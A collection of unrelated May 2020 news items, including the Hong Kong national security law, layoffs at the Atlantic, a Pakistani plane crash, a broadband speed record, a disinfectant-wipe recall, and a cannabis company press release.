Along with the teachers, members of the non-teaching staff have also been reportedly told to take leave without pay from May. Nearly 150 people including teaching and non-teaching staff are affected due to this sudden decision of the management. Many of them are single earning members in the family and this has put immense pressure on them and their families, said another teacher on the condition of anonymity.

Pathan Sayed Khan, head of academics for the Mumbai region at the school said that no teacher is removed from the rolls so far. We have not removed anyone and will not do so even in future unless there is some issue with respect to their teaching. Some teachers were not willing to teach online as a result of which we asked them to take a break. Especially in Maharashtra, parents are not paying fees due to economic reasons and we are thus having some temporary financial difficulties, he added.

Teachers, however, said that they were willing to teach online but said that they were never given that option. We were not even told that this can be an option. If given a choice nobody would want to lose their job, said the teacher from Bhayander.
China on Friday introduced the draft of a controversial national security law in Hong Kong in its parliament to tighten Beijing's control over the former British colony, in what could be the biggest blow to the territory's autonomy and personal freedoms since 1997 when it came under Chinese rule.

Hong Kong, an economic powerhouse, is a Special Administrative Region (SAR) of China. It has observed a "one country, two systems" policy since Britain returned sovereignty to China on July 1, 1997, which has allowed it certain freedoms the rest of China does not have.

The draft bill on establishing and improving the legal system and enforcement mechanisms for the Hong Kong Special Administrative Region (HKSAR) to safeguard national security was submitted to the National People's Congress (NPC) which began its week-long session here.

The new law would proscribe secessionist and subversive activity as well as foreign interference and terrorism in the city - all developments that had been troubling Beijing for some time, but most pressingly over the past year of increasingly violent anti-government protests, Hong Kong-based South China Morning Post reported.

The law to ban "treason, secession, sedition and subversion" could bypass Hong Kong's lawmakers.

of China's plans was met with immediate criticism by opposition lawmakers in Hong Kong, human rights groups and the US.

"It is the end of 'one country, two systems'," said Dennis Kwok, a pro-democracy lawmaker, referring to the principle by which Hong Kong has retained limited democracy and civil liberties since coming under Chinese control. "(They are) completely destroying Hong Kong."



China's move is also significant in that China's central government appears to have all but given up hope that Hong Kong's administration will succeed at passing local legislation on such a law, amid a hostile political environment and deeply divided city, the report said.

Pro-democracy activists had said they feared "the end of Hong Kong" if China brought the new security law.

The bill which is set to be approved by the NPC, regarded as the rubber-stamp parliament for its routine approval of proposals by the ruling Communist Party of China (CPC), comes in the backdrop of relentless agitation by the local Hong Kong people demanding political and administrative autonomy agreed by China when it took possession of the former British colony in 1997.

While the seven-month-long agitation last year in which millions took part subsided during the coronavirus crisis from January to April, protestors returned to streets this month, with the pro-autonomy and pro-freedom legislators grappling with the security officials in local legislature protesting against the curbs.

Wang Chen, vice chairman of the Standing Committee of the NPC, said since the return of Hong Kong, China has been firmly implementing the principles of "one country, two systems," "the people of Hong Kong governing Hong Kong," and a high degree of autonomy.

The practice of "one country, two systems" has achieved unprecedented success in Hong Kong, according to an explanatory document delivered by Wang, state-run Xinhua agency reported.

But the increasingly notable national security risks in the HKSAR have become a prominent problem, the document says, citing activities that have seriously challenged the bottom line of the "one country, two systems" principle, harmed the rule of law, and threatened national sovereignty, security and development interests.

Law-based and forceful measures must be taken to prevent, stop and punish such activities, the document said.

A number of pro-democracy figures in Hong Kong, including Democratic Party leader Wu Chi-wai, said the announcement was the death of "one country, two systems".

Civic Party lawmaker Dennis Kwok said, "if this move takes place, 'one country, two systems' will be officially erased. This is the end of Hong Kong." His colleague Tanya Chan added that this was the "saddest day in Hong Kong history".

Student activist and politician Joshua Wong tweeted that the move was an attempt by Beijing to "silence Hong Kongers' critical voices with force and fear".

What makes the situation so incendiary is that Beijing can simply bypass Hong Kong's elected legislators and impose the changes, a BBC report said.

China can place them into Annex III of the Basic Law, which covers national laws that must then be implemented in Hong Kong - either by legislation, or decree.

Pro-democracy activists fear the law will be used to muzzle protests in defiance of the freedoms enshrined in the Basic Law, as similar laws in China are used to silence opposition to the Communist Party.

On Thursday, State Department spokeswoman Morgan Ortagus warned that "any effort to impose national security legislation that does not reflect the will of the people of Hong Kong" would be met with international condemnation.

Ortagus noted that the State Department was delaying its submission to Congress of the annual Hong Kong Policy Act Report in order "to account for any additional actions that Beijing may be contemplating in the run-up to and during the National People's Congress that would further undermine Hong Kong's high degree of autonomy."



Meanwhile, Hong Kong stocks slumped more than five per cent on Friday after China introduced the draft of a new security law in the territory. The Hang Seng Index dipped 5.56 per cent, or 1,349.99 points, to 22,930.14.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Before COVID-19 brought financial disaster to American media outlets, one of the escape routes some journalists sought was a billionaire buy-out. It seemed to work for the Atlantic magazine. In 2017, when David Bradley, the chairman and former controlling shareholder of Atlantic Media, sold a majority stake to Emerson Collective, an organization run by Laurene Powell Jobs, the company soon embarked on a hiring spree. The Atlantic aimed to bring in about a hundred new employees over the course of a year, representing a thirty percent increase in staff. It will be a mix of writers and editors and video producers and podcast producers and live events producers, Bob Cohn, who was president of the Atlantic, told the New York Times. Those are areas of coverage that we want to focus on, and well do it across all our platforms. He added that Emerson is eager to see us grow and succeed, and they were excited at helping to make this happen.

Now, however, it appears thats changed. Yesterday, the Atlantic announced that it was cutting sixty-eight jobs, or about seventeen percent of its staff, and instituting a pay freeze for those who remain. Executives are also taking pay cuts. Twenty-two editorial positions were removed, eviscerating the magazines entire video team and clobbering the events business, which was meant to provide an alternative to advertising revenue. The coronavirus, as Bradley pointed out in a memo to employees, has effectively nuked events, and no one is quite sure if or when they will return. We would have paused over furloughs instead of severance if we believed the positions were coming back, Bradley wrote.

Its a despairing reality. Anyone who has been following the media industry knows that it was in poor financial shape even before COVID-19. But the Atlantic, which launched a paywall in September, seemed to have been relatively successful. In the past month, it brought in 90,000 new subscribers, and now has a total of 450,000. Editorially, the magazine has provided some of the most valuable coverage of the coronavirus, with writers like Ed Yong making it a must-read. So this leads to an obvious question: if you are doing everything right, subscribers are growing, and you are owned by a billionaire (Powell Jobs is worth about $26 billion at last count), and yet you still lose almost twenty percent of your staff, what chance does anyone else have?

ICYMI: Ronan Farrow, Ben Smith, and the problem of the superstar journalist

Defenders of Powell Jobs would argue that Emerson Collective is an investment fund, not a charitable organization. It cant allow itself to burn money. To be sure, Emerson Collective makes acquisitions based on social principleslike the ones that Powell Jobs described when she bought the Atlantic in the first place, praising its mission to illuminate and defend the American idea. But these investments are also expected to run as businesses. And if video production and events are collapsing, what rationale is there for keeping on their staff? Even billionaire philanthropists reach a point when the business part of what theyre doing takes precedence.

Yet many observers of the layoffs were understandably frustrated by the outcome. What is the point of being owned by a billionaire if he or she cant cut you a little slack and let you slide through a rough period? Marc Benioff, the billionaire who owns Time magazine, for one, promised that there would be no cuts (even if that guarantee would only last for three months).

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To be fair, Powell Jobss decision not to give the Atlantic a little more rope isnt the worst billionaire turnaround on an editorial investmentthat title would probably go to Joe Ricketts, the billionaire founder of TD Ameritrade, an online brokerage firm. In 2017, Ricketts abruptly shut down DNAinfo, the local news startup he founded, as well as Gothamist, a network of city-focused blogs he acquired just a few months before. According to reports, Ricketts decided to close his publications because he was upset about the fact that editorial employees had organized a union. Remember: if youre dreaming that a billionaire will come and save your publication and ensure that everyone keeps their jobs, you should be careful what you wish for.

Heres more on billionaires and the news:

Billionaire pique : In a piece for CJR , Alex Pareene looked at Rickettss closure of DNAinfo and Gothamist , and billionaires generally losing interest in the media. Describing a throwback to the days of press barons, Pareene wrote, Not since the 19th century have so many individuals had so much power over the press. He went on, An industry that relies on the Joe Rickettses of the world to sustain itself is in deep trouble.

Cloudy Quartz : Quartz , a business news site was founded by Atlantic Media, announced a week ago that it was laying off eighty employees, or nearly half of its workforce, with the bulk of the cuts in the advertising department. The site also said it would close its offices in London, San Francisco, Hong Kong, and Washington. Quartz was acquired in 2018 by a Japanese company called Uzabase, a media and business intelligence provider with a market value of close to $1 billion.

That LA feeling : Earlier this month, the editorial union at the Los Angeles Times which is owned by Patrick Soon-Shiong, a medical-technology billionaire agreed to accept a twenty-percent reduction in both pay and hours of work, as a way of avoiding layoffs or furloughs. Journalists at the Times , which signed its first-ever collective agreement last fall, agreed to have their wages and hours cut for twelve weeks starting May 10; management promised not to lay anyone off during that period. The papers parent company, California Times, closed three of its weekly community newspapers and laid off fourteen people who produced them.

Other notable stories:

In a column for Slate , Ashley Feinberg takes a critical look at the recent New York Times media column by Ben Smith , who suggested that Ronan Farrow played fast and loose with the facts because of a penchant for resistance journalism. An examination of Smiths column reveals a shakiness in his indictment, Feinberg writes. Had Smith taken a more rigorous approach to presenting his findings, he would have undermined his own argument. So instead, Smith chose to perform broad-mindedness, sacrificing accuracy for some vague, centrist perception of fairness.

The New York Times has released a diversity report, which says that women now represent fifty-one percent of the staff and forty-nine percent of its leadership; people of color now represent thirty-two percent of the staff and twenty-one percent of its leadership. Each of these numbers increased over last year, according to the Times , with women making up fifty-three percent of new hires in 2019 and people of color making up forty-three percent. But the company still has gaps in representation at the leadership level, particularly of people of color, according to the report, and it needs to continue to ensure that new hires are a diverse group.

National newspapers in the United Kingdom no longer have to make their print circulation figures public, according to a decision by the Audit Bureau of Circulations , an industry group run by the countrys major publications that tracks newspaper data. News UK, which publishes the Sun and Times , was one of the first to make its circulation numbers private, so that only advertising agencies that have signed confidentiality agreements will be able to see them. The bureau said the change in reporting addresses publisher concerns that monthly ABC circulation reports provide a stimulus to write a negative narrative of circulation decline.

Apple is in the early stages of developing a series about Gawker, the blogging network that was forced into bankruptcy after a lawsuit by Hulk Hogan, the former wrestler. According to Vanity Fair , the show was conceived and pitched by two former Gawker staffers, Max Read and Cord Jefferson, who have been working on scripts for the past couple of months with a writers room that apparently includes some other Gawker alumni. Read was the editor-in-chief of Gawker at one point, but stepped down in 2015, and later joined New York magazine. Jefferson left Gawker to work in the TV industry, and has credits on shows including Watchmen and Succession .

Recently, the New York Times decided to stop using third-party advertising services, apparently to protect readers privacy. But as Mike Masnick writes for Techdirt, a technology news-analysis site Techdirt thats not quite right. The Times will still be tracking personal information, doing the same thing that Facebook and Google have done, Masnick writes. Its collecting data on its users, and then using that data to sell access to advertisers. Why is that evil selling data when it comes to those other companies but good when its the NY Times?

The Times Group in Indiaa media giant that owns forty-five daily newspapers and magazines, including the Times of India and the Economic Times , as well as a number of TV and radio channels and websiteshas cut staff salaries and deferred pay raises, according to a report from a media industry site called News Laundry . The Times Group has also laid off dozens of staffers at the Economic Times , but hasnt revealed the exact numberand HR managers were being secretive about the cuts.

Some Good News , the YouTube show created by John Krasinski, who played Jim on the Office , to alleviate the COVID-19 gloom, has been licensed to ViacomCBS. Apparently, there was a massive bidding war. Krasinski, who is already under contract with ViacomCBS for a number of movie projects, will no longer host the series, but will be involved as an executive producer.

ICYMI: The many coronavirus conspiracy theories

Has America ever needed a media watchdog more than now? Help us by joining CJR today

Mathew Ingram is CJRs chief digital writer. Previously, he was a senior writer with Fortune magazine. He has written about the intersection between media and technology since the earliest days of the commercial internet. His writing has been published in the Washington Post and the Financial Times as well as by Reuters and Bloomberg.
China flag

Chinas sweeping plans to strip Hong Kong of democratic autonomy spell the death knell for the enclaves special trading and financial status and will have grave economic consequences for China itself, Washington has warned in a dramatic shot across the bows.

The draft law bans treason, secession, sedition and subversion in Hong Kong, eviscerating the zones One Nation, Two Systems status and violating the Sino-British Joint Declaration of 1984, a commitment lodged at the United Nations.

Mike Pompeo, the US secretary of state, said that if Beijing presses ahead with the disastrous proposal and openly flouts its international treaty obligations, the US will be forced to revoke Hong Kongs unique privileges. At stake are the essential legal exemptions that allow it to function as a global hub.

The escalating showdown between the two global superpowers  and the lack of any obvious diplomatic off-ramp  has begun to rattle financial markets. The Hang Seng index tumbled 5.6pc and the Shanghai Composite was off almost 2pc. Brent crude fell 4pc.

The Cold War clash overshadowed the announcement of a massive Chinese stimulus plan on Friday, equal in economic scale to the post-Lehman credit boom in 2009.

Premier Li Keqiang rolled out a fiscal package of bonds, loans, and direct spending worth over 4pc of GDP and vowed to open the monetary flood-gates, hoping to turbo-charge recovery from Covid-19. But Chinas structural problems run much deeper today than they did a decade ago and hidden unemployment risks becoming a curse.

Bowing to the inevitable, Li dropped the annual growth shibboleth for the first time in the modern era, a figure universally disbelieved by investors in any case. We have not set a specific target this year. Our country will face factors that are difficult to predict due to the pandemic and the world trade environment, he said.

Story continues

It is a symbolic moment, an admission that the era of artificial uber-growth is over. Global commodity markets can no longer count on breakneck Chinese demand.

Chris Patten, the last governor of Hong Kong, said the draft security law is a comprehensive assault on the rule of law and fundamental freedoms of Hong Kong agreed in the Joint Declaration.

At best, the integrity of one country, two systems hangs by a thread. Unless the Chinese Communist regime sees sense, this will be hugely damaging to Hong Kong's international reputation and to the prosperity of a great city.

The move renders de jure what has already been happening de facto. Bill Bishop from Sinocism said hardline Party cadres installed last year to crush the enclaves democracy movement have been arresting dissenters and operating beyond restraint.

President Xi Jinping and the Party Center may believe they can act with near impunity, especially now when most countries who would oppose this move are distracted and weakened by the pandemic. They are probably right, he said.

What markets fear is the volcanic response from Washington, where Donald Trump last week threatened to shut down the whole economic relationship with China. While investors have learned to discount the Presidents petulant outbursts on Twitter  and Chinese state media treats them with ridicule  the political waters are now becoming more treacherous.

Trump seems to have concluded that he can no longer campaign on his economic record and that his best shot at re-election  perhaps his only shot  is to blame China for deceptively unleashing the coronavirus on the world. Far from restraining him, Congress is demanding tougher action.

Cold War fever on Capitol Hill is bipartisan. Democratic Speaker Nancy Pelosi said the crackdown on Hong Kong is deeply alarming and cannot be allowed to stand. A chorus of Congressional leaders have called for sanctions and a review of Hong Kongs special status.

Congress teed up action with the Hong Kong Human Rights and Democracy Act last November, obliging the State Department to certify each year whether China is in compliance with the Sino-British accord. If Hong Kong is no longer deemed sufficiently autonomous, it loses its special treatment and commercial privileges under US law.

Anti-Beijing protests in Hong Kong - Kin Cheung /AP

The enclave would no longer be recognised by Washington as an independent member of the World Trade Organisation. It would be treated like any other Chinese city and face the same tariffs. There is now a mounting likelihood that this will be activated.

Hong Kongs future as a global city is in doubt, said Mark Williams from Capitol Economics. Loss of US recognition would be a body-blow to the citys status as a global financial entrepot. Without autonomy and an impartial legal system, Hong Kong risks being eclipsed by Shanghai in finance and other mainland ports in trade and logistics.

The 1,400 US companies operating there would drift away, many to Singapore. So would the 650,000-strong army of foreign residents. The bustling enclave would risk the sort of steep decline that has befallen so many trade and banking centres over history  Venice, Antwerp, or Amsterdam  when political shifts robbed them of their unique advantage.

US sanctions  or more accurately, loss of privileges  would hit 13pc of Hong Kongs GDP (including re-exports) and come at a critical moment when the tourist industry is on its knees. The economy contracted 8.9pc in the first quarter.

Williams said optimists have long assumed that China benefits too much from Hong Kongs current status as an investment and technology gateway to risk jeopardising the arrangement. Two-thirds of foreign direct investment flows into mainland China through the enclave. It now appears that Beijing is willing to pay that high price in order to contain the bacillus of democracy.

China is taking a huge political risk with its ultra-nationalist wolf warrior diplomacy ,breaching treaties and threatening countries around the world with rhetorical echoes of the 1930s. It is a far cry from Deng Xiaoping's lie low and bide our time doctrine in the early post-Mao years, which served China so well.

It is also a huge economic risk because China has not yet broken definitively out of the middle income trap and is badly overextended. The International Institute of Finance estimates that Chinas debt-to-GDP ratio hit a record 317pc in the first quarter. The potency of new credit has been falling for a decade and productivity growth has been slipping.

While the official unemployment rate is around 6pc, Capital Economics says the true rate is nearer 15pc. A fifth of the countrys 300-million strong army of migrant workers have yet to return from their villages. There are not enough jobs.

The risk for China is that it will  by its own actions  accelerate the demise of globalisation. It will risks a further reshoring of manufacturing plants and undermining the export development model that led to the rise of the new China in the first place  and that has not yet been fully replaced by a new model. The Silk Road may impress the gullible but it is but viewed as a farrago of mercantilist nonsense by serious global economists.

Ironically, China may be making the same hubristic mistake as Tojo Japan: overestimating its own rising strength, and underestimating the resolve of the dishevelled and unruly democracies.
World record breaking broadband speeds have been recorded in Australia by scientists, who say they could download 1,000 HD movies in under a second.

The team from Monash, Swinburne and RMIT universities recorded a speed of 44.2 terabits per second - the first time speeds like that have been recorded 'in the wild'.

This is a stark contrast to the average broadband speed in Australia - which is about 11 megabits per second, according to content delivery provider Akamai.

For comparison there are a million megabits in a terabit - so the new 44.2 Tbps connection is 4 million times faster than the average 11Mbps speed.

Dr Bill Corcoran, co-lead author of the study said the findings show that existing infrastructure could be upgrading to meet increasing demands on internet connections for everything from Netflix to self-driving cars.

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World record breaking broadband speeds have been recorded in Australia by scientists, who say they could download 1,000 HD movies in under a second. It was delivered by a micro-comb chip that splits optical signals into multiple parts to provide faster speeds

'We're currently getting a sneak peek of how the infrastructure for the internet will hold up in two to three years' time,' said Corcoran.

He said this was due to the unprecedented number of people using the internet for remote work, socialising and streaming.

'It's really showing us that we need to be able to scale the capacity of our internet connections', said Corcoran.

They used a new device that replaces 80 lasers with one single piece of equipment known as a micro-comb, which is smaller and lighter than existing telecommunications hardware.

It was planted into and load-tested using existing infrastructure, which mirrors that used by the Australian National Broadband Network.

According to the research, the result was the highest amount of data every produced by a single optical chip - the type used in modern broadband systems.

This technology has the capacity to support the high-speed internet connections of 1.8 million households in Melbourne, Australia, at the same time, and billions across the world during peak periods, the authors claim.

Corcoran said their technology could be implemented in existing infrastructure to enhance existing networks, rather than creating something new.

'We've developed something that is scaleable to meet future needs,' he added.

'And it's not just Netflix we're talking about here - it's the broader scale of what we use our communication networks for,' said Corcoran.

'This data can be used for self-driving cars and future transportation and it can help the medicine, education, finance and e-commerce industries, as well as enable us to read with our grandchildren from kilometres away.'

To illustrate the impact optical micro-combs have on optimising communication systems, researchers installed 48 miles of dark optical fibres between RMITs Melbourne City Campus and Monash Universitys Clayton Campus.

Within these fibres, researchers placed the micro-comb  contributed by Swinburne University, as part of a broad international collaboration.

The comb acts like a rainbow made up of hundreds of high quality infrared lasers from a single chip.

The 44.2 Tbps is a stark contrast to the average broadband speed in Australia - which is about 11 megabits per second - there are a million megabits in a terabit

Each laser has the capacity to be used as a separate communications channel.

Arnan Mitchell from RMIT said reaching the optimum data speed of 44.2 Tbps showed the potential of existing Australian infrastructure.

The future ambition of the project is to scale up the current transmitters from hundreds of gigabytes per second tens of terabytes per second without increasing size, weight or cost.

"Long-term, we hope to create integrated photonic chips that could enable this sort of data rate to be achieved across existing optical fibre links with minimal cost," Mitchell said.

Professor David Moss, another leader of the study and a director of the optical sciences centre at Swinburne University, said the work presents the delivery of world-record broadband coming down a single optical fibre.

He said this was from 'a single chip source, and represents an enormous breakthrough for part of the network which does the heaviest lifting.

'Micro-combs offer enormous promise for us to meet the world's insatiable demand for bandwidth.'

The findings have been published in the journal Nature Communications.
An Airbus SE jet operated by Pakistan International Airlines crashed with 107 people on board as it approached its destination of Karachi.

Flight PK 8303, which took off from Lahore, was carrying 99 passengers and 8 crew, Pakistans Civil Aviation Authority said. The countrys army tweeted that troops had reached the site to conduct relief-and-rescue efforts. The A320 narrow-body jet built in 2004, data from Flightradar24 showed.

Its the second plane crash for the Pakistani carrier in less than four years. The airlines chairman resigned in late 2016, less than a week after the crash of an ATR 42 turboprop killed 47 people. Fridays crash happened on the first day of the Muslim festival of Eid al-Fitr, when many Pakistanis return home to celebrate.

Pakistani Prime Minister Imran Khan tweeted hes in touch with the airlines chief executive officer and that an investigation would be conducted soon.

A CAA representative couldnt immediately confirm the number of casualties and said the authority is waiting for more information. An Airbus representative said the company is in touch with the airline to gather more information and declined to comment further.

Like other carriers worldwide, PIA struggled with plane groundings in the wake of the Covid-19 pandemic. The company, which hasnt made a profit since 2004, asked the government for financial support in March.

But signs of a recovery were in sight as the country began emerging from a two-month lockdown. Pakistan recently began resuming domestic flights last week, starting with 20% of capacity.
Multipurpose wipes in use at Gambler First Nation, which were not approved by Health Canada, have now been recalled, according to the communitys health director.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

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Multipurpose wipes in use at Gambler First Nation, which were not approved by Health Canada, have now been recalled, according to the communitys health director.

The Brandon Sun reported May 15 that the unapproved wipes, which contain polyhexamethylene guanidine, were circulating. Meanwhile, the owner of the company that makes Akwaton multipurpose wipes, Izabela Jarocka, who sought to sell her company to the First Nation in 2018, said they were expired.

Akwaton multipurpose wipes, which contain polyhexamenthylene guanidine and were in circulation at Gambler First Nation and possibly beyond, are not approved by Health Canada. (Submitted)

"Those wipes are no longer existing," Jarocka said last week, adding she told Chief David LeDouxs wife, Rose LeDoux, to take them to the dump.

Researcher Mathias Oule, whose name is on the wipes endorsing them, said they shouldnt be in circulation and he didnt know how his name came to be on them.

But Jarocka and Oule both told the Sun that the product was back at Health Canada, under consideration for a drug identification number (DIN), after a failed attempt in 2012.

Health Canada replied to the Suns May 11 question after that story was published on May 15.

"Health Canada has not authorized any disinfectant product with polyhexamethylene guanidine for sale in Canada. Using any product that has not been reviewed by Health Canada for safety and efficacy may pose health risk to consumers," stated Health Canada media relations adviser Natalie Mohamed.

However, Mohamed added the pandemic, which has caused "the unprecedented demand and urgent need for disinfectants and hand sanitizers" means Health Canada is "facilitating access to certain hand sanitizer and disinfectant products that may not meet full regulatory requirements but do not compromise the health and safety of Canadians.

"A list of products permitted under this interim approach is available on Health Canadas website," she stated.

That list, called "Hard-surface disinfectants and hand sanitizers (COVID-19): Disinfectants and hand sanitizers accepted under COVID-19 interim measure" did not include Akwaton as of 6 p.m. Thursday.

The Sun obtained a screenshot of a posting by Gamblers health director Mackenzie Olynyk on the Gambler Facebook page, responding to a band members question after the story published May 15.

"Now, if you are asking about the akwaton wipes, yes we have and absolutely love them and SURPRISE, we havent died. These were distributed to staff of gambler, employed by gambler, for those in the work force," she wrote.

"It was never the intention to withhold them from the rest of the on reserve residential members, but once the incorrect article and rest of the bs was said about it, obviously I didnt feel comfortable bringing something into the homes that already had them in fear for no reason. I can also assure you that the truth and light will come out about this amazing product soon enough."

The Sun called Olynyk to follow up on the rationale for continuing to use the product, despite it not being approved for use in Canada.

"Actually, were not using them, because we were told theyre expired," she said.

"It was only staff members. Theyve all brought them back and returned them so nobody is using them. But any other questions, Im not going to comment just because  Ill just let it come out in the news when its needing to come out in the news."

Mohamed concluded her email by stating Health Canada has an open case for the Akwaton wipes and is actively following up to verify compliance.

"As this is an active case, the department is not in a position to provide any further details at this time," she stated.

"Selling unauthorized health products or making false or misleading claims to prevent, treat or cure illnesses is illegal in Canada. The department takes this matter very seriously and will take action to stop this activity."

Mohamed also stated that should any non-compliance be identified, Health Canada will take action.

 mletourneau@brandonsun.com

 Michele LeTourneau covers Indigenous matters for The Brandon Sun under the Local Journalism Initiative, a federally funded program that supports the creation of original civic journalism.
(ANSA) - Palermo, May 22 - Italian police on Friday seized assets worth some 150 million euros belonging to a front man for late superboss Bernardo Provenzano and another currently jailed top boss, Salvatore Lo Piccolo. Police seized hundreds of properties in the provinces of Trapani and Palermo that belonged to Andrea Impastato, 72, from Cinisi, who was arrested in 2002.

Impastato is believed to acted as a front man for the two bosses, police said.

Provenzano, who died in 2016, was a chief of the Sicilian Mafia clan known as the Corleonesi, a Mafia faction that originated in the town of Corleone, and de facto il capo dei capi (the boss of bosses). His nickname was Binnu u tratturi (Sicilian for "Bernardo the tractor") because, in the words of one informant, "he mows people down." Another nickname was il ragioniere ("the accountant") due to his apparently subtle and low-key approach to running his crime empire, at least in contrast to some of his more violent predecessors and co-bosses like Salvatore 'The Beast' Riina.

Lo Piccolo, 78, also known as "the Baron" (il Barone), is one of the most powerful bosses of Palermo. Lo Piccolo rose through the ranks of the Palermo mafia throughout the 1980s and he became the capomandamento of the San Lorenzo district in the early 1990s, replacing Salvatore Biondino who was sent to prison. Lo Piccolo was a fugitive until 1983 and had been running his Mafia affairs in hiding. With the capture of Provenzano on 11 April 2006, Lo Piccolo had been cementing his power and rise to the top of the Palermo Mafia until his own arrest on 5 November 2007. It is believed that his family spread across Europe due to rising tensions, settling in England, Portugal and southern Spain.


SAN DIEGO, May 22, 2020 /PRNewswire/ -- Medical Marijuana, Inc. (OTC: MJNA) (the "Company"), the first-ever publicly traded cannabis company in the United States that launched the world's first-ever cannabis-derived nutraceutical products, brands and supply chain, announced today that its subsidiary Kannaway has added leading network marketer Daniele Paiola Bellucci to the Company.

"We are very excited that Mr. Paiola Bellucci has joined the Kannaway organization and welcome him to our team," said Kannaway CEO Blake Schroeder. "Mr. Paiola Bellucci's track record in the network marketing industry and entrepreneurial successes speak for themselves."

Mr. Paiola Bellucci began his network marketing career at Kyani and then had a breakthrough experience at Coin Space, where he quickly became one of the leading distributors of the company, building a network of over 15,000 members and generating sales of over $1M per month at the age of 25 years old. Mr. Paiola Bellucci then became a founder of Keynaut, an innovative epigenetics company that offers coffee and cosmetics products.

"I am thrilled to welcome Daniele to Kannaway. He is an inspired and inspiring leader... the perfect person with whom Kannaway Italy can grow to a significant success. It is with great eagerness that I look forward to our association!" said Randy Schroeder, Kannaway Master Distributor.

"I am honored to join Kannaway," said Mr. Paiola Bellucci. "As an entrepreneur it is always important to work with a fundamentally strong company, but also one that makes a positive impact on people's lives. No company that I have seen fulfills those requirements like Kannaway does."

Kannaway is a rapidly expanding network sales and marketing company specializing in the sales and marketing of hemp-based botanical products. Most recently the company has expanded into new markets in Vietnam, Russia and Japan.

To learn more about Kannaway, visit the Kannaway website .

About Kannaway

Kannaway is a network sales and marketing company specializing in the sales and marketing of hemp-based botanical products. Kannaway currently hosts weekly online sales meetings and conferences across the United States, offering unique insight and opportunity to sales professionals who are desirous of becoming successful leaders in the sale and marketing of hemp-based botanical products.

About Medical Marijuana, Inc.

We are a company of firsts . Medical Marijuana, Inc. ( MJNA ) is a cannabis company with three distinct business units in the non-psychoactive cannabinoid space: a global portfolio of cannabinoid-based nutraceutical brands led by Kannaway and HempMeds ; a pioneer in sourcing the highest-quality legal non-psychoactive cannabis products derived from industrial hemp; and a cannabinoid-based clinical research and botanical drug development sector led by its pharmaceutical investment companies and partners including AXIM Biotechnologies, Inc. and Kannalife, Inc . Medical Marijuana, Inc. was named a top CBD producer by CNBC . Medical Marijuana, Inc. was also the first company to receive historic import permits for CBD products from the governments of Brazil, Mexico, Argentina, and Paraguay and is a leader in the development of international markets. The company's flagship product Real Scientific Hemp Oil has been used in several successful clinical studies throughout Mexico and Brazil to understand its safety and efficacy.

Medical Marijuana, Inc.'s headquarters is in San Diego, California, and additional information is available at OTCMarkets.com or by visiting www.medicalmarijuanainc.com . To see Medical Marijuana, Inc.'s corporate video, click here .

Shareholders and consumers are also encouraged to buy CBD oil and other products at Medical Marijuana, Inc.'s shop.

FORWARD-LOOKING DISCLAIMER

This press release may contain certain forward-looking statements and information, as defined within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934, and is subject to the Safe Harbor created by those sections. This material contains statements about expected future events and/or financial results that are forward-looking in nature and subject to risks and uncertainties. Such forward-looking statements by definition involve risks, uncertainties and other factors, which may cause the actual results, performance or achievements of Medical Marijuana, Inc. to be materially different from the statements made herein.

FOOD AND DRUG ADMINISTRATION (FDA) DISCLOSURE

These statements have not been evaluated by the Food and Drug Administration. This product is not intended to diagnose, treat, cure, or prevent any disease.

LEGAL DISCLOSURE

Medical Marijuana, Inc. does not sell or distribute any products that are in violation of the United States Controlled Substances Act.

CONTACT:

Public Relations Contact:

Andrew Hard

Chief Executive Officer

CMW Media

P. 858-264-6600

[email protected]

www.cmwmedia.com

Investor Relations Contact:

P. (858) 283-4016

[email protected]

SOURCE Medical Marijuana, Inc.

Related Links

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Six militants who were planning terrorist attacks on law enforcement officers have been killed in the Republic of Dagestan in southwest Russia.

The militants were believed to be linked with the Islamic State, with the planned attacks co-ordinated by an IS emissary.

However, the Russian National Anti-Terrorism Committee (NAC) confirmed on Friday that they had taken out a special operation to take out the militants after they were spotted in the Khasavyurt district.

Six militants believed to be part of an Islamic State terrorist group, were killed by Russian forces (pictured) in the Republic of Dagestan

The Russian National Anti-Terrorism Committee confirmed that a special operation had been made against the militants who were spotted in a forest north of the village of Goksuv

A statement from the NAC on Friday said: 'Security authorities obtained information about the presence of a group of six armed bandits who carried out the intention to commit terrorist crimes in the forest located north of the village of Goksuv.

'In an attempt to detain, the criminals put up armed resistance to law enforcement officers using automatic weapons and grenades. The bandits were neutralized by return fire.

'One special forces officer was injured. He received the necessary medical care.

'There were no civilian casualties. Weapons and ammunition were discovered at the clash site.'

The Islamic and Russian forces took part in a shootout which killed the six militants, with one Russian soldier injured and no civilian casualties suffered

The statement also claimed the militants were also targeting religious leaders as well as looking to raise funds for terrorist activities.

It continued: 'According to reports, the neutralized bandits were associated with the international terrorist organization ISIS.

'They coordinated their actions with its emissary and planned to commit a series of terrorist crimes, [including] attacks on law enforcement officials and religious leaders, as well as extorting money from entrepreneurs to finance terrorist activities.'

Clashes between Russian and Islamic forces have taken place over the past 20 years, dating back to Islamic threats of a holy war in 1999

Violent clashes between Russian and Islamic forces have been commonplace over the last 20 years.

In August 1999, an Islamic body declared an independent state in areas of the Dagestan and Chechnya regions in southwest Russia, with Muslims asked by the Islamic body to take up arms against Russian forces in a holy war. The insurrection was stopped by Russian forces in a matter of weeks.

In September 2018, Abas Khubayev, the leader of a terrorist groups involved in multiple attacks on and murder of law enforcement officers and civilians in the same region, was also liquidated by Russian forces in similar circumstances.
DAKAR (Reuters) - Musician Mory Kante, who helped win African music a global following, has died in the capital of his homeland Guinea at the age of 70, his agent said on Friday.

Kante's long-running career saw him progress from regional acclaim as a player of the traditional West African kora instrument to international stardom in the 1980s with his chart-topping hit 'Yeke Yeke'.

"Mory passed away last night in his sleep in Conakry," his manager Juan Yriart told Reuters by phone. "The cause is unknown."

Yriart said Kante was planning several concerts that were all then pushed back to next year due to the new coronavirus outbreak.

Born in 1950, Kante toured the world as a leading light of the African music scene before returning to his native Guinea in the 2000s, where he championed causes to help refugees and save threatened forests, according to a biography on his website.

He continued to make music, joining forces with other African musical heavyweights in 2014 to create the song 'Africa Stop Ebola' in the face of the epidemic that killed more than 11,300 people.

(Reporting by Bate Felix and Alessandra Prentice; Editing by Hugh Lawson)
 Flash

The Chinese Embassy in Afghanistan handed over another batch of food assistance to Afghanistan on Thursday to help the needy people celebrate Eid al-Fitr, which marks the end of the fasting month Ramadan.

